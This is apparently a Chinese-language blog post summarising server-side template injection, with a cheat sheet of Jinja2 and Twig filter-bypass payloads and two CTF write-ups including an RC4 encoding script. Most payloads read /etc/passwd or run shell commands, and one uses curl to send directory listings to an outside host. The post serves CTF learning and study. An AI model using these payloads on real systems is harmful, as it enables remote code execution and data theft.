SSTI---总结

SSTI---总结_第1张图片

 Laravel

SSTI---总结_第2张图片

Blade是Laravel提供的一个既简单又强大的模板引擎

和其他流行的PHP模板引擎不一样,Blade并不限制你在视图view中使用原生的PHP代码

所有的Blade视图页面都将被编译成原生的PHP代码并缓存起来,除非你的的模板文件修改,否则不会重新编译

这里也是简单提及 没有找到更多的关于blade模板ssti注入的相关知识  这里推荐一个大佬的博客 写的非常详细

laravel Blade 模板引擎 

至此 ssti注入漏洞都简略的介绍完了

小结一下 在ssti注入中 最经常遇到的就是python 以及 php的模板注入

php的Twig模板以及smarty模板 python中的jinja2 tornado模版在ctf考题中会经常出现 但是在实际找漏洞的时候不太好找 也可以用工具来测试 tplmap 类似于sqlmap的存在 还有一些不通的点涉及到很多方面的知识了 需要深入一点的学习python语言 php语言 弄清楚各种函数会更好理解一点

ssti注入还涉及到非常多的payload

总结

1)过滤[]和.

只过滤[]

    pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
    ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
    若.也被过滤,使用原生JinJa2函数|attr()
    将request.__class__改成request|attr("__class__")

(2)过滤_

利用request.args属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args改为request.values则利用post的方式进行传参

(3)关键字过滤

    base64编码绕过
    __getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

    字符串拼接绕过
    {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
    {{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

(4)过滤{{

使用{% if ... %}1{% endif %},例如

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;') %}1{% endif %}

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

(5)引号内十六进制绕过

{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}

_是\x5f,.是\x2E

(6)" ' chr等被过滤,无法引入字符串

    直接拼接键名

dict(buil=aa,tins=dd)|join()

    利用string、pop、list、slice、first等过滤器从已有变量里面直接找

(app.__doc__|list()).pop(102)|string()

    构造出%和c后,用格式化字符串代替chr

{%set udl=dict(a=pc,c=c).values()|join %}      # uld=%c
{%set i1=dict(a=i1,c=udl%(99)).values()|join %}

(7)+等被过滤,无法拼接字符串

    ~
    在jinja中可以拼接字符串
    格式化字符串
    同上

python2

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[80]["load\x5Fmodule"]("os")["system"]("ls")}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

python3

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

不用找类
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

以上思路都是找os,也可以找__builtins__.eval

twig

文件读取

{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}

rce

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{['cat /etc/passwd']|filter('system')}}

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}

还有一些payload不具体的描述了 可以去之前的博客里面找

[CISCN2019 华东南赛区]Double Secret

打开题目

SSTI---总结_第3张图片

说 欢迎来找秘密 用{{7*7}}看一看

 

发现没有回显 先用dirsearch扫描一下 扫到了robots.txt

 打开看看发现依旧没有什么有价值的信息

还扫描到了/console

SSTI---总结_第4张图片

打开发现 是一个被锁定的控制台 和这题没什么关系

SSTI---总结_第5张图片

题目提示  secret

直接在url输入一下看看 发现有页面

 他说告诉他你secret 他会告诉你其他人看不见的 简单来说就是传参secret然后看回显

 传参secret=199999 发现页面报错

SSTI---总结_第6张图片

在这里找到了源码

SSTI---总结_第7张图片

 用tplmap无法注入 解析一下源码

当你传入的secret值是错的 他会回显

Tell me your secret.I will encrypt it so others can\'t see

知道是rc4加密并给出了解密密钥HereIsTreasure,a=render_template_string(safe(deS)),这一句,将解密后的明文渲染成字符串,回显出来。这里有一个safe函数,可能是用来过滤某些关键字对的,无从得知。

这里附上大师的脚本

import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt

def rc4_init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure"  #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)

查找根目录 payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}

加密得到

.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C3%A5nw%C2%A7%C2%8E%C2%BC%C2%BE%C3%BBEy%C2%A9%C2%BBj%C2%83.%5B%18%C3%94%C2%89Y%08%1Aw%22%C3%A3%C3%97%C2%997v%C2%A07%0A%1B%C3%82_%C2%AFN%C2%BF%C2%A3%C2%B8%14%C3%81%C2%AAXy%C3%A5%C3%8D%3B%C2%BCS%0Anq%C2%9D%C2%80%C2%B5%C3%AF%C2%B0%C3%862%5E%22zI%C3%9C%09%C3%85%7BW%C3%A3%C2%99%14gk%C3%A4%C2%BBk%C2%BE%C3%83%C2%B1%0D%03%C3%99%18qu%C2%B4%C2%BCR%C2%81%C2%B1%C2%8E4%C2%A7%C3%A0%C3%8E

找到了flag.txt

访问一下 读取文件 payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

加密得到

.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%93%08n0%C3%AE%C3%BDb%C2%B1%C3%80%C3%B6%1F%5B%C2%88B%23%7E%C3%A6%C2%BC%5D%C2%81%C3%BF%C3%88d%C2%AE%C2%B8%C3%8E2%C2%92%20C%C2%B7%C2%B7%C2%95%C3%95Wj%C3%93%C2%B5%C3%AA_%C2%A1%2B%C2%87%C2%B5l%08%27%3F%C3%96

得到flag

buuctf [flask]ssti

题目已经告诉是ssti注入了 看看是python的哪个模板注入

SSTI---总结_第8张图片

点击链接 发现了参考文章

 发现要传参name才可以 传完之后发现回显是一串7 确定为jinja2模板

第一种方法

 我这里推荐用tplmap一把梭 要比自己输入payload方便的多

SSTI---总结_第9张图片

找到flag

另一种方法

 获取eval函数并执行任意python代码

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

SSTI---总结_第10张图片

打印环境变量

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

得到flag

SSTI---总结_第11张图片

 

__dict__   :保存类实例或对象实例的属性变量键值对字典

__class__  :返回一个实例所属的类

__mro__   :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)

__base__   :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组 // __base__和__mro__都是用来寻找基类的

__subclasses__  :以列表返回类的子类

__init__   :类的初始化方法

__globals__   :对包含函数全局变量的字典的引用

__builtin__&&__builtins__  :python中可以直接运行一些函数,例如int(),list()等等。                  这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)                  在py3中__builtin__被换成了builtin                  

1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。                  

2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

 

 这里附上python中的一些函数 在之前的python的ssti文章中也提到过

ssti就告一段落 下面会学习xss注入

你可能感兴趣的:(安全)